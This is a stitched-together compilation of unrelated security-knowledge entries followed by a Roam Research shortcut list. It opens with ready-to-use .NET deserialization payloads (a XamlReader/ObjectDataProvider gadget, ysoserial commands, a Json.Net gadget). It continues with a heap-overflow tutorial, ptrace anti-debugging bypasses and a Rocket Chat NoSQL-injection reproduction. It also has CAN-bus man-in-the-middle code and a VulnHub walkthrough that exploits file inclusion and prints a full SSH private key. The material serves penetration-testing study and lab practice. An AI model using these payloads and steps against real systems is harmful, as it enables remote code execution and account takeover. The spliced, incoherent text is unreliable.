<MethodName>Parse</MethodName>
<MethodParameters>
<anyType xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xsi:type="xsd:string">
<![CDATA[<ResourceDictionary xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation" xmlns:d="http://schemas.microsoft.com/winfx/2006/xaml" xmlns:b="clr-namespace:System;assembly=mscorlib" xmlns:c="clr-namespace:System.Diagnostics;assembly=system"><ObjectDataProvider d:Key="" ObjectType="{d:Type c:Process}" MethodName="Start"><ObjectDataProvider.MethodParameters><b:String>cmd</b:String><b:String>/c calc.exe</b:String></ObjectDataProvider.MethodParameters></ObjectDataProvider></ResourceDictionary>]]>
</anyType>
</MethodParameters>
<ObjectInstance xsi:type="XamlReader"></ObjectInstance>
</ProjectedProperty0>
</ExpandedWrapperOfXamlReaderObjectDataProvider>
</root>
```
### DataContractSerializer
> The DataContractSerializer deserializes in a loosely coupled way. It never reads common language runtime (CLR) type and assembly names from the incoming data. The security model for the XmlSerializer is similar to that of the DataContractSerializer, and differs mostly in details. For example, the XmlIncludeAttribute attribute is used for type inclusion instead of the KnownTypeAttribute attribute.
* In C# source code, look for `DataContractSerializer(typeof(<TYPE>))`.
* Payload output: **XML**
* Data **Type** must be user-controlled to be exploitable
### NetDataContractSerializer
> It extends the `System.Runtime.Serialization.XmlObjectSerializer` class and is capable of serializing any type annotated with serializable attribute as `BinaryFormatter`.
* In C# source code, look for `NetDataContractSerializer().ReadObject()`.
* Payload output: **XML**
```ps1
.\ysoserial.exe -f NetDataContractSerializer -g TypeConfuseDelegate -c "calc.exe" -o base64 -t
```
### LosFormatter
* Use `BinaryFormatter` internally.
```ps1
.\ysoserial.exe -f LosFormatter -g TypeConfuseDelegate -c "calc.exe" -o base64 -t
```
### JSON.NET
* In C# source code, look for `JsonConvert.DeserializeObject<Expected>(json, new JsonSerializerSettings`.
* Payload output: **JSON**
```ps1
.\ysoserial.exe -f Json.Net -g ObjectDataProvider -o raw -c "calc.exe" -t
{
'$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
'MethodName':'Start',
'MethodParameters':{
'$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
'$values':['cmd', '/c calc.exe']
},
'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
}
```
### BinaryFormatter
> The BinaryFormatter type is dangerous and is not recommended for data processing. Applications should stop using BinaryFormatter as soon as possible, even if they believe the data they're processing to be trustworthy. BinaryFormatter is insecure and can’t be made secure.
* In C# source code, look for `System.Runtime.Serialization.Binary.BinaryFormatter`.
* Exploitation requires `[Serializable]` or `ISerializable` interface.
* Payload output: **Binary**
```ps1
./ysoserial.exe -f BinaryFormatter -g PSObject -o base64 -c "calc" -t
```
## POP Gadgets
These gadgets must have the following properties:
* Serializable
* Public/settable variables
* Magic "functions": Get/Set, OnSerialisation, Constructors/Destructors
You must carefully select your **gadgets** for a targeted **formatter**.
List of popular gadgets used in common payloads.
* **ObjectDataProvider** from `C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF\PresentationFramework.dll`
* Use `MethodParameters` to set arbitrary parameters
* Use `MethodName` to call an arbitrary function
* **ExpandedWrapper**
* Specify the `object types` of the objects that are encapsulated
```cs
ExpandedWrapper<Process, ObjectDataProvider> myExpWrap = new ExpandedWrapper<Process, ObjectDataProvider>();
```
* **System.Configuration.Install.AssemblyInstaller**
* Execute payload with Assembly.Load
```cs
// System.Configuration.Install.AssemblyInstaller
public void set_Path(string value){
if (value == null){
this.assembly = null;
}
this.assembly = Assembly.LoadFrom(value);
}
```
## References
* [Attacking .NET Serialization - Alvaro - October 20, 2017](https://speakerdeck.com/pwntester/attacking-net-serialization?slide=11)
* [Attacking .NET Deserialization - Alvaro Muñoz - 28 avr. 2018](https://youtu.be/eDfGpu3iE4Q)
* [Friday the 13th: JSON Attacks - Alvaro Muñoz (@pwntester) Oleksandr Mirosh - Slides](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf)
* [Friday the 13th: JSON Attacks - Alvaro Muñoz (@pwntester) Oleksandr Mirosh - White Paper](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf)
* [Friday the 13th: JSON Attacks - Alvaro Muñoz (@pwntester) Oleksandr Mirosh - DEF CON 25 Conference](https://www.youtube.com/watch?v=ZBfBYoK_Wr0)
* [ARE YOU MY TYPE? Breaking .NET sandboxes through Serialization - James Forshaw - Slides](https://media.blackhat.com/bh-us-12/Briefings/Forshaw/BH_US_12_Forshaw_Are_You_My_Type_Slides.pdf)
* [ARE YOU MY TYPE? Breaking .NET sandboxes through Serialization - James Forshaw - White Paper](https://media.blackhat.com/bh-us-12/Briefings/Forshaw/BH_US_12_Forshaw_Are_You_My_Type_WP.pdf)
* [Now You Serial, Now You Don't - Systematically Hunting for Deserialization Exploits - ALYSSA RAHMANDEC](https://www.mandiant.com/resources/blog/hunting-deserialization-exploits)
* [Exploiting Deserialisation in ASP.NET via ViewState - Soroush Dalili (@irsdl) - 04/2019](https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/)
* [Bypassing .NET Serialization Binders - Markus Wulftange - June 28, 2022](https://codewhitesec.blogspot.com/2022/06/bypassing-dotnet-serialization-binders.html)
* [Basic .Net deserialization (ObjectDataProvider gadget, ExpandedWrapper, and Json.Net) - hacktricks](https://book.hacktricks.xyz/pentesting-web/deserialization/basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net)
* [Sitecore Experience Platform Pre-Auth RCE - CVE-2021-42237 - Nov 2, 2021 - Shubham Shah](https://blog.assetnote.io/2021/11/02/sitecore-rce/)
* [Finding a New DataContractSerializer RCE Gadget Chain - November 7, 2019 - dugisec](https://muffsec.com/blog/finding-a-new-datacontractserializer-rce-gadget-chain/)
|
sec-knowleage
|
### 堆溢出介绍
堆溢出是指程序向某个堆块中写入的字节数超过了堆块本身可使用的字节数(**之所以是可使用而不是用户申请的字节数,是因为堆管理器会对用户所申请的字节数进行调整,这也导致可利用的字节数都不小于用户申请的字节数**),因而导致了数据溢出,并覆盖到**物理相邻的高地址**的下一个堆块。
不难发现,堆溢出漏洞发生的基本前提是
- 程序向堆上写入数据。
- 写入的数据大小没有被良好地控制。
对于攻击者来说,堆溢出漏洞轻则可以使得程序崩溃,重则可以使得攻击者控制程序执行流程。
堆溢出是一种特定的缓冲区溢出(还有栈溢出, bss 段溢出等)。但是其与栈溢出所不同的是,堆上并不存在返回地址等可以让攻击者直接控制执行流程的数据,因此我们一般无法直接通过堆溢出来控制 EIP 。一般来说,我们利用堆溢出的策略是
1. 覆盖与其**物理相邻的下一个 chunk** 的内容。
- prev_size
- size,主要有三个比特位,以及该堆块真正的大小。
- NON_MAIN_ARENA
- IS_MAPPED
- PREV_INUSE
- the True chunk size
- chunk content,从而改变程序固有的执行流。
2. 利用堆中的机制(如 unlink 等 )来实现任意地址写入( Write-Anything-Anywhere)或控制堆块中的内容等效果,从而来控制程序的执行流。
### 堆溢出基本示例
下面我们举一个简单的例子:
```
#include <stdio.h>
int main(void)
{
char *chunk;
chunk=malloc(24);
puts("Get input:");
gets(chunk);
return 0;
}
```
这个程序的主要目的是调用 malloc 分配一块堆上的内存,之后向这个堆块中写入一个字符串,如果输入的字符串过长会导致溢出 chunk 的区域并覆盖到其后的 top chunk 之中(实际上 puts 内部会调用 malloc 分配堆内存,覆盖到的可能并不是 top chunk)。
```
0x602000: 0x0000000000000000 0x0000000000000021 <===chunk
0x602010: 0x0000000000000000 0x0000000000000000
0x602020: 0x0000000000000000 0x0000000000020fe1 <===top chunk
0x602030: 0x0000000000000000 0x0000000000000000
0x602040: 0x0000000000000000 0x0000000000000000
```
print 'A'*100
进行写入
```
0x602000: 0x0000000000000000 0x0000000000000021 <===chunk
0x602010: 0x4141414141414141 0x4141414141414141
0x602020: 0x4141414141414141 0x4141414141414141 <===top chunk(已被溢出)
0x602030: 0x4141414141414141 0x4141414141414141
0x602040: 0x4141414141414141 0x4141414141414141
```
### 寻找堆分配函数方式
通常来说堆是通过调用 glibc 函数 malloc 进行分配的,在某些情况下会使用 calloc 分配。calloc 与 malloc 的区别是 **calloc 在分配后会自动进行清空,这对于某些信息泄露漏洞的利用来说是致命的**。
```
calloc(0x20);
//等同于
ptr=malloc(0x20);
memset(ptr,0,0x20);
```
除此之外,还有一种分配是经由 realloc 进行的,realloc 函数可以身兼 malloc 和 free 两个函数的功能。
```
#include <stdio.h>
int main(void)
{
char *chunk,*chunk1;
chunk=malloc(16);
chunk1=realloc(chunk,32);
return 0;
}
```
realloc的操作并不是像字面意义上那么简单,其内部会根据不同的情况进行不同操作
- 当realloc(ptr,size)的size不等于ptr的size时
- 如果申请size>原来size
- 如果chunk与top chunk相邻,直接扩展这个chunk到新size大小
- 如果chunk与top chunk不相邻,相当于free(ptr),malloc(new_size)
- 如果申请size<原来size
- 如果相差不足以容得下一个最小chunk(64位下32个字节,32位下16个字节),则保持不变
- 如果相差可以容得下一个最小chunk,则切割原chunk为两部分,free掉后一部分
- 当realloc(ptr,size)的size等于0时,相当于free(ptr)
- 当realloc(ptr,size)的size等于ptr的size,不进行任何操作
### 寻找危险函数方式
通过寻找危险函数,我们快速确定程序是否可能有堆溢出,以及有的话,堆溢出的位置在哪里。
常见的危险函数如下
- 输入
- gets,直接读取一行,忽略 `'\x00'`
- scanf
- vscanf
- 输出
- sprintf
- 字符串
- strcpy,字符串复制,遇到 `'\x00'` 停止
- strcat,字符串拼接,遇到 `'\x00'` 停止
- bcopy
### 确定填充长度方式
这一部分主要是计算**我们开始写入的地址与我们所要覆盖的地址之间的距离**。
一个常见的误区是malloc的参数等于实际分配堆块的大小,但是事实上 ptmalloc 分配出来的大小是对齐的。这个长度一般是字长的2倍,比如32位系统是8个字节,64位系统是16个字节。但是对于不大于2倍字长的请求,malloc会直接返回2倍字长的块也就是最小chunk,比如64位系统执行`malloc(0)`会返回用户区域为16字节的块。
```
#include <stdio.h>
int main(void)
{
char *chunk;
chunk=malloc(0);
puts("Get input:");
gets(chunk);
return 0;
}
```
```
//根据系统的位数,malloc会分配8或16字节的用户空间
0x602000: 0x0000000000000000 0x0000000000000021
0x602010: 0x0000000000000000 0x0000000000000000
0x602020: 0x0000000000000000 0x0000000000020fe1
0x602030: 0x0000000000000000 0x0000000000000000
```
注意用户区域的大小不等于 chunk_head.size,chunk_head.size=用户区域大小+2*字长
还有一点是之前所说的用户申请的内存大小会被修改,其有可能会使用与其物理相邻的下一个chunk的prev_size字段储存内容。回头再来看下之前的示例代码
```
#include <stdio.h>
int main(void)
{
char *chunk;
chunk=malloc(24);
puts("Get input:");
gets(chunk);
return 0;
}
```
观察如上代码,我们申请的chunk大小是24个字节。但是我们将其编译为64位可执行程序时,实际上分配的内存会是16个字节而不是24个。
```
0x602000: 0x0000000000000000 0x0000000000000021
0x602010: 0x0000000000000000 0x0000000000000000
0x602020: 0x0000000000000000 0x0000000000020fe1
```
16个字节的空间是如何装得下24个字节的内容呢?答案是借用了下一个块的pre_size域。我们可来看一下用户申请的内存大小与glibc中实际分配的内存大小之间的转换。
```c
/* pad request bytes into a usable size -- internal version */
//MALLOC_ALIGN_MASK = 2 * SIZE_SZ -1
#define request2size(req) \
(((req) + SIZE_SZ + MALLOC_ALIGN_MASK < MINSIZE) \
? MINSIZE \
: ((req) + SIZE_SZ + MALLOC_ALIGN_MASK) & ~MALLOC_ALIGN_MASK)
```
当req=24时,request2size(24)=32。而除去chunk 头部的16个字节。实际上用户可用chunk的字节数为16。而根据我们前面学到的知识可以知道chunk的pre_size仅当它的前一块处于释放状态时才起作用。所以用户这时候其实还可以使用下一个chunk的prev_size字段,正好24个字节。**实际上 ptmalloc 分配内存是以双字为基本单位,以64位系统为例,分配出来的空间是16的整数倍,即用户申请的chunk都是16字节对齐的。**
|
sec-knowleage
|
# i-love-headdah (web, 100p, 97 solved)
A second trivial web task.
As previously we check for `robots.txt` and again there is:
```
User-agent: *
Disallow: /flag/
```
And in the directory there is `flag.txt`.
The link is actually broken, but we can fix the name by hand.
Once we get there it says: `You are using the wrong browser, 'Builder browser 1.0.1' is required`.
If we set User-agent to this string we get: `You are refered from the wrong location hackover.18 would be the correct place to come from.`
And if we set Referer to this string we get: `aGFja292ZXIxOHs0bmdyeVczYlMzcnYzclM0eXNOMH0=` which decoded as base64 string gives `hackover18{4ngryW3bS3rv3rS4ysN0}`
|
sec-knowleage
|
# Detecting debugging
检测调试器的方法很多, 比如检测进程名之类. 这里我们介绍一种方法, 就是通过检测一些函数的调用情况来分析程序当前是否处于被调试状态
```c
int main()
{
if (ptrace(PTRACE_TRACEME, 0, 1, 0) < 0) {
printf("DEBUGGING... Bye\n");
return 1;
}
printf("Hello\n");
return 0;
}
```
一个进程只能被一个进程ptrace, 如果你自己调用ptrace, 那么其它程序就无法通过ptrace调试或向你的程序注入代码.
如果程序当前被gdb调试, 那么ptrace函数就会返回错误, 也就侧面表明了检测到了调试器的存在.
## 绕过方法1
显然ptrace只能作用于使用ptrace的调试器, 我们可以用不使用ptrace的调试器.
我们也可以通过打补丁的方式将ptrace函数擦除, 更简单就是将ptrace的调用代码或是之后的校验给擦除了.
如果可执行文件(实际情况下不太可能)在编译时并没有启用-s选项(-s 选项能移除所有的符号表信息和重定位信息), 那么情况会变得简单很多. 我们从这个简单的情况来分析
```
# objdump -t test_debug | grep ptrace
080482c0 F *UND* 00000075 ptrace@@GLIBC_2.0
```
ptrace在`0x080482c0`位置被调用
```
# objdump -d -M intel test_debug |grep 80482c0
80482c0: ff 25 04 96 04 08 jmp ds:0x8049604
80483d4: e8 e7 fe ff ff call 80482c0 <_init+0x28>
```
那要是有启用-s选项, 该怎么处理呢? 这时我们需要使用gdb
```
# gdb test_debug
gdb> bp ptrace
Breakpoint 1 at 0x80482c0
gdb> run
Breakpoint 1 at 0x400e02f0
......
0x400e02f0 <ptrace>: push %ebp
0x400e02f1 <ptrace+1>: mov %esp,%ebp
0x400e02f3 <ptrace+3>: sub $0x10,%esp
0x400e02f6 <ptrace+6>: mov %edi,0xfffffffc(%ebp)
0x400e02f9 <ptrace+9>: mov 0x8(%ebp),%edi
0x400e02fc <ptrace+12>: mov 0xc(%ebp),%ecx
------------------------------------------------------------------------------
Breakpoint 1, 0x400e02f0 in ptrace () from /lib/tls/libc.so.6
```
我们简单地断在了ptrace处, 现在输入finish执行到当前函数返回, 回到main函数里
```
# gdb test_debug
gdb> finish
00x80483d9 <main+29>: add $0x10,%esp
0x80483dc <main+32>: test %eax,%eax
0x80483de <main+34>: jns 0x80483fa <main+62>
0x80483e0 <main+36>: sub $0xc,%esp
0x80483e3 <main+39>: push $0x80484e8
0x80483e8 <main+44>: call 0x80482e0
------------------------------------------------------------------------------
0x080483d9 in main ()
```
将函数返回结果eax修改为正确的返回结果, 就可以了
```
gdb> set $eax=0
gdb> c
everything ok
Program exited with code 016.
_______________________________________________________________________________
No registers.
gdb>
```
## 绕过方法2
方法2就是编写自己的ptrace函数
如前几篇所述, `LD_PRELOAD`环境变量可以将可执行文件指向我们自己的ptrace函数.
我们写一个ptrace函数并生成目标文件
``` c
// -- ptrace.c --
// gcc -shared ptrace.c -o ptrace.so
int ptrace(int i, int j, int k, int l)
{
printf(" PTRACE CALLED!\n");
}
```
我们接下来就可以通过设置环境变量LD_PRELOAD来使用我们自己的ptrace函数, 当然这里是可以在gdb中进行设置
```
gdb> set environment LD_PRELOAD ./ptrace.so
gdb> run
PTRACE CALLED!
Hello World!
Program exited with code 015.
gdb>
```
可以看到程序无法检测到调试器了.
> Reference: [Beginners Guide to Basic Linux Anti Anti Debugging Techniques](http://www.stonedcoder.org/~kd/lib/14-61-1-PB.pdf)
|
sec-knowleage
|
# Rocket Chat MongoDB 注入漏洞(CVE-2021-22911)
Rocket Chat是一款基于Node.js、MongoDB的开源团队聊天工具。在其3.12.1~3.13.2版本中,存在一处MongoDB注入漏洞,利用这个漏洞,攻击者可以获取用户敏感信息,甚至在服务器上执行任意命令。
这个漏洞有两种攻击方式:
- 未授权攻击者可以利用这个漏洞,获取任意普通用户的Password Reset Token,并通过这个Token修改其密码
- 普通用户可以利用这个漏洞,获取任意用户的任意信息
参考链接:
- https://blog.sonarsource.com/nosql-injections-in-rocket-chat
- https://www.exploit-db.com/exploits/50108
- https://github.com/CsEnox/CVE-2021-22911
- https://paper.seebug.org/1652/
## 环境搭建
执行如下命令启动一个Rocket Chat 3.12.1:
```
docker compose up -d
```
环境启动后,访问`http://your-ip:3000`即可查看到Rocket Chat的安装向导,跟随向导进行安装即可。
安装完成后,为了验证第一个攻击方法,我们需要在后台增加一个普通用户,用户名为`vulhub`,邮箱为`vulhub@vulhub.org`。
## 漏洞复现
我们只来复现第一种利用方式。复现这个漏洞需要三步:
1. 通过邮箱找回密码,后台会在数据库中会生成Password Reset Token
2. 利用MongoDB注入,获取这个Password Reset Token
3. 使用Password Reset Token来更改这个用户的密码
其中,我们使用`$regex`语句进行MongoDB注入,当`$regex: ^7`时,不匹配,返回一个错误信息:

当`$regex: ^8`时能够匹配,返回正确信息:

将注入的过程通过[CVE-2021-22911.py](CVE-2021-22911.py)这个小脚本进行实现,自动化获取Password Reset Token:

使用Password Reset Token修改用户密码成功:

|
sec-knowleage
|
# Back to the future, CAN, 250pts
> Our intelligence suggests that the DeLorean we previously recovered is capable of time travel.
According to the documents in our possession the time travel functionality is activated as soon as a specific ECU within the vehicle maintains a velocity of exactly 88 miles per hour for at least a few seconds. We rely on your CAN bus expertise to trick the time-travel ECU into thinking it is travelling at the right speed; again, the vehicle dashboard we restored should be of use.
> Best of luck.
> The Dashboard app is available here.
> Challenge developed by Argus Cyber Security.
In this task we were supposed to make the car believe it travels
at 88MPH. Again, the setup is such that the MCU sends CAN messages
using one of its interfaces, then receives them using the other one,
probably to simulate full CAN bus with multiple devices.
After a bit of sniffing the bus, we identified one of the messages that
seemed to be correlated with dashboard's speed display. But how to
change the byte responsible for the speed? Well, the simplest answer
we came up with, was to man-in-the-middle the bus.
We cut the traces connecting both CAN controllers, then connected
them to Arduino with two MCP2515 chips. Its code was quite
simple: when received message on one interface, forward it
to the other one. After verifying the dashboard still works fine,
we modified the code to change the speed to 88 when detected
appropriate CAN id.
Unfortunately, for some reason the flag wasn't showing up. Instead,
we were getting "check engine" indicator on the dashboard.
After some admittedly random changes, we made the Arduino forward
only two particular types of messages. Most of the dashboard died
(the temperature and most of the indicators were at zero), but
the speed remained 88MPH. After a few seconds, the flag showed up.
Final MITM code:
```cpp
#include <mcp_can.h>
#include <SPI.h>
#include <avr/pgmspace.h>
// the cs pin of the version after v1.1 is default to D9
// v0.9b and v1.0 is default D10
const int SPI_CS_PIN = 9;
const int SPI_CS_2 = 5;
MCP_CAN CAN2(SPI_CS_2);
MCP_CAN CAN(SPI_CS_PIN);
unsigned char len = 0;
unsigned char buf[8];
void mitm(MCP_CAN& CAN, MCP_CAN& CAN2) {
if(CAN_MSGAVAIL == CAN.checkReceive()){
CAN.readMsgBuf(&len, buf); // read data, len: data length, buf: data buf
unsigned int canId = CAN.getCanId();
Serial.println("-----------------------------");
Serial.print("Get data from ID: ");
Serial.println(canId, HEX);
for(int i = 0; i<len; i++) // print the data
{
Serial.print(buf[i], HEX);
Serial.print(" ");
}
Serial.println();
if (canId == 0x23) {
buf[1] = 88;
CAN2.sendMsgBuf(canId, 0, len, buf);
}
else if (canId == 0x19a) {
CAN2.sendMsgBuf(canId, 0, len, buf);
}
}
}
void setup()
{
Serial.begin(115200);
while (CAN_OK != CAN.begin(CAN_50KBPS, MCP_8MHz)) {
Serial.println("CAN BUS Shield init fail");
Serial.println(" Init CAN BUS Shield again");
delay(100);
}while (CAN_OK != CAN2.begin(CAN_50KBPS, MCP_8MHz)) {
Serial.println("CAN2222 BUS Shield init fail");
Serial.println(" Init CAN2222 BUS Shield again");
delay(100);
}
Serial.println("CAN BUS Shield init ok!");
while (1) {
mitm(CAN, CAN2);
mitm(CAN2, CAN);
}
}
void loop(){}
```
|
sec-knowleage
|
# digitalworld.local: FALL
> https://download.vulnhub.com/digitalworld/FALL.7z
靶场IP:`192.168.32.202`
扫描对外端口服务
```
┌──(root💀kali)-[/tmp]
└─# nmap -p 1-65535 -sV 192.168.32.202
Starting Nmap 7.92 ( https://nmap.org ) at 2022-09-05 02:20 EDT
Nmap scan report for 192.168.32.202
Host is up (0.00024s latency).
Not shown: 65368 filtered tcp ports (no-response), 154 filtered tcp ports (host-prohibited)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.8 (protocol 2.0)
80/tcp open http Apache httpd 2.4.39 ((Fedora) OpenSSL/1.1.0i-fips mod_perl/2.0.10 Perl/v5.26.3)
111/tcp closed rpcbind
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: SAMBA)
443/tcp open ssl/http Apache httpd 2.4.39 ((Fedora) OpenSSL/1.1.0i-fips mod_perl/2.0.10 Perl/v5.26.3)
445/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: SAMBA)
3306/tcp open mysql MySQL (unauthorized)
8000/tcp closed http-alt
8080/tcp closed http-proxy
8443/tcp closed https-alt
9090/tcp open http Cockpit web service 162 - 188
10080/tcp closed amanda
10443/tcp closed cirrossp
MAC Address: 00:0C:29:18:2F:1F (VMware)
Service Info: Host: FALL; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 193.85 seconds
```
浏览器访问80端口

爆破web目录
```
┌──(root💀kali)-[/tmp]
└─# gobuster dir -u http://192.168.32.202 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x .html,.php,.txt
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://192.168.32.202
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.1.0
[+] Extensions: html,php,txt
[+] Timeout: 10s
===============================================================
2022/09/05 22:07:37 Starting gobuster in directory enumeration mode
===============================================================
/index.php (Status: 200) [Size: 8385]
/modules (Status: 301) [Size: 238] [--> http://192.168.32.202/modules/]
/uploads (Status: 301) [Size: 238] [--> http://192.168.32.202/uploads/]
/doc (Status: 301) [Size: 234] [--> http://192.168.32.202/doc/]
/admin (Status: 301) [Size: 236] [--> http://192.168.32.202/admin/]
/assets (Status: 301) [Size: 237] [--> http://192.168.32.202/assets/]
/test.php (Status: 200) [Size: 80]
/lib (Status: 301) [Size: 234] [--> http://192.168.32.202/lib/]
/config.php (Status: 200) [Size: 0]
/robots.txt (Status: 200) [Size: 79]
/error.html (Status: 200) [Size: 80]
/tmp (Status: 301) [Size: 234] [--> http://192.168.32.202/tmp/]
/missing.html (Status: 200) [Size: 168]
/phpinfo.php (Status: 200) [Size: 17]
===============================================================
2022/09/05 22:11:38 Finished
===============================================================
```
发现`test.php`,需要添加GET参数

爆破参数
```
┌──(root💀kali)-[/tmp]
└─# ffuf -c -w /opt/SecLists/Discovery/Web-Content/common.txt -u 'http://192.168.32.202/test.php?FUZZ=/etc/passwd' -fs 80
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v1.5.0 Kali Exclusive <3
________________________________________________
:: Method : GET
:: URL : http://192.168.32.202/test.php?FUZZ=/etc/passwd
:: Wordlist : FUZZ: /opt/SecLists/Discovery/Web-Content/common.txt
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200,204,301,302,307,401,403,405,500
:: Filter : Response size: 80
________________________________________________
file [Status: 200, Size: 1633, Words: 36, Lines: 33, Duration: 2ms]
:: Progress: [4713/4713] :: Job [1/1] :: 4386 req/sec :: Duration: [0:00:01] :: Errors: 0 ::
```

获取qiu用户的私钥
```
┌──(root💀kali)-[/tmp]
└─# curl http://192.168.32.202/test.php?file=/home/qiu/.ssh/id_rsa
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABFwAAAAdzc2gtcn
NhAAAAAwEAAQAAAQEAvNjhOFOSeDHy9K5vnHSs3qTjWNehAPzT0sD3beBPVvYKQJt0AkD0
FDcWTSSF13NhbjCQm5fnzR8td4sjJMYiAl+vAKboHne0njGkBwdy5PgmcXyeZTECIGkggX
61kImUOIqtLMcjF5ti+09RGiWeSmfIDtTCjj/+uQlokUMtdc4NOv4XGJbp7GdEWBZevien
qXoXtG6j7gUgtXX1Fxlx3FPhxE3lxw/AfZ9ib21JGlOyy8cflTlogrZPoICCXIV/kxGK0d
Zucw8rGGMc6Jv7npeQS1IXU9VnP3LWlOGFU0j+IS5SiNksRfdQ4mCN9SYhAm9mAKcZW8wS
vXuDjWOLEwAAA9AS5tRmEubUZgAAAAdzc2gtcnNhAAABAQC82OE4U5J4MfL0rm+cdKzepO
NY16EA/NPSwPdt4E9W9gpAm3QCQPQUNxZNJIXXc2FuMJCbl+fNHy13iyMkxiICX68Apuge
d7SeMaQHB3Lk+CZxfJ5lMQIgaSCBfrWQiZQ4iq0sxyMXm2L7T1EaJZ5KZ8gO1MKOP/65CW
iRQy11zg06/hcYlunsZ0RYFl6+J6epehe0bqPuBSC1dfUXGXHcU+HETeXHD8B9n2JvbUka
U7LLxx+VOWiCtk+ggIJchX+TEYrR1m5zDysYYxzom/uel5BLUhdT1Wc/ctaU4YVTSP4hLl
KI2SxF91DiYI31JiECb2YApxlbzBK9e4ONY4sTAAAAAwEAAQAAAQArXIEaNdZD0vQ+Sm9G
NWQcGzA4jgph96uLkNM/X2nYRdZEz2zrt45TtfJg9CnnNo8AhhYuI8sNxkLiWAhRwUy9zs
qYE7rohAPs7ukC1CsFeBUbqcmU4pPibUERes6lyXFHKlBpH7BnEz6/BY9RuaGG5B2DikbB
8t/CDO79q7ccfTZs+gOVRX4PW641+cZxo5/gL3GcdJwDY4ggPwbU/m8sYsyN1NWJ8NH00d
X8THaQAEXAO6TTzPMLgwJi+0kj1UTg+D+nONfh7xeXLseST0m1p+e9C/8rseZsSJSxoXKk
CmDy69aModcpW+ZXl9NcjEwrMvJPLLKjhIUcIhNjf4ABAAAAgEr3ZKUuJquBNFPhEUgUic
ivHoZH6U82VyEY2Bz24qevcVz2IcAXLBLIp+f1oiwYUVMIuWQDw6LSon8S72kk7VWiDrWz
lHjRfpUwWdzdWSMY6PI7EpGVVs0qmRC/TTqOIH+FXA66cFx3X4uOCjkzT0/Es0uNyZ07qQ
58cGE8cKrLAAAAgQDlPajDRVfDWgOWJj+imXfpGsmo81UDaYXwklzw4VM2SfIHIAFZPaA0
acm4/icKGPlnYWsvZCksvlUck+ti+J2RS2Mq9jmKB0AVZisFazj8qIde3SPPwtR7gBR329
JW3Db+KISMRIvdpJv+eiKQLg/epbSdwXZi0DJoB0a15FsIAQAAAIEA0uQl0d0p3NxCyT/+
Q6N+llf9TB5+VNjinaGu4DY6qVrSHmhkceHtXxG6h9upRtKw5BvOlSbTatlfMZYUtlZ1mL
RWCU8D7v1Qn7qMflx4bldYgV8lf18sb6g/uztWJuLpFe3Ue/MLgeJ+2TiAw9yYoPVySNK8
uhSHa0dvveoJ8xMAAAAZcWl1QGxvY2FsaG9zdC5sb2NhbGRvbWFpbgEC
-----END OPENSSH PRIVATE KEY-----
```
ssh登录qiu用户
```
┌──(root💀kali)-[/tmp]
└─# ssh -i id_rsa qiu@192.168.32.202
The authenticity of host '192.168.32.202 (192.168.32.202)' can't be established.
ECDSA key fingerprint is SHA256:+P4Rs5s4ipya3/t+GBoy0WjQqL/LaExt9MFvWgld4xc.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.32.202' (ECDSA) to the list of known hosts.
Web console: https://FALL:9090/ or https://192.168.32.202:9090/
Last login: Sun Sep 5 19:28:51 2021
[qiu@FALL ~]$ id
uid=1000(qiu) gid=1000(qiu) groups=1000(qiu),10(wheel)
```
查看`.bash_history`文件

提权成功

|
sec-knowleage
|
---
title: Roam Research
date: 2022-11-23 16:23:31.693680
background: bg-[#090a0a]
label:
tags:
-
-
categories:
- Keyboard Shortcuts
intro: |
A visual cheat-sheet for the 45 keyboard shortcuts found on Roam Research
---
Keyboard Shortcuts
------------------
### General
Shortcut | Action
---|---
`/` | Bring up a menu of many core functions
`Ctrl` `U` | Search the database
`Ctrl` `Enter` | Jump back to page after search
`Ctrl` `F` | Search on the current page
`Shift` `Enter` | Open a new page created in search in the sidebar
`Ctrl` `Shift` `D` | Jump to the Daily Notes page
`Shift` `(click)` | Open link in sidebar
`Ctrl` `B` | Toggle brackets
{.shortcuts}
### Lists and Blocks {.row-span-2}
Shortcut | Action
---|---
`Tab` | Indent block
`Shift` `Tab` | Un-indent block
`Ctrl` `Shift` `Up` | Move block up
`Ctrl` `Shift` `Down` | Move block down
`Enter` | Create a new block, bullet point
`Ctrl` `Enter` | Create a TODO checkbox
`Shift` `Enter` | Create a new line inside of a block
`Ctrl` `Z` | Undo
`Ctrl` `Shift` `Z` | Redo
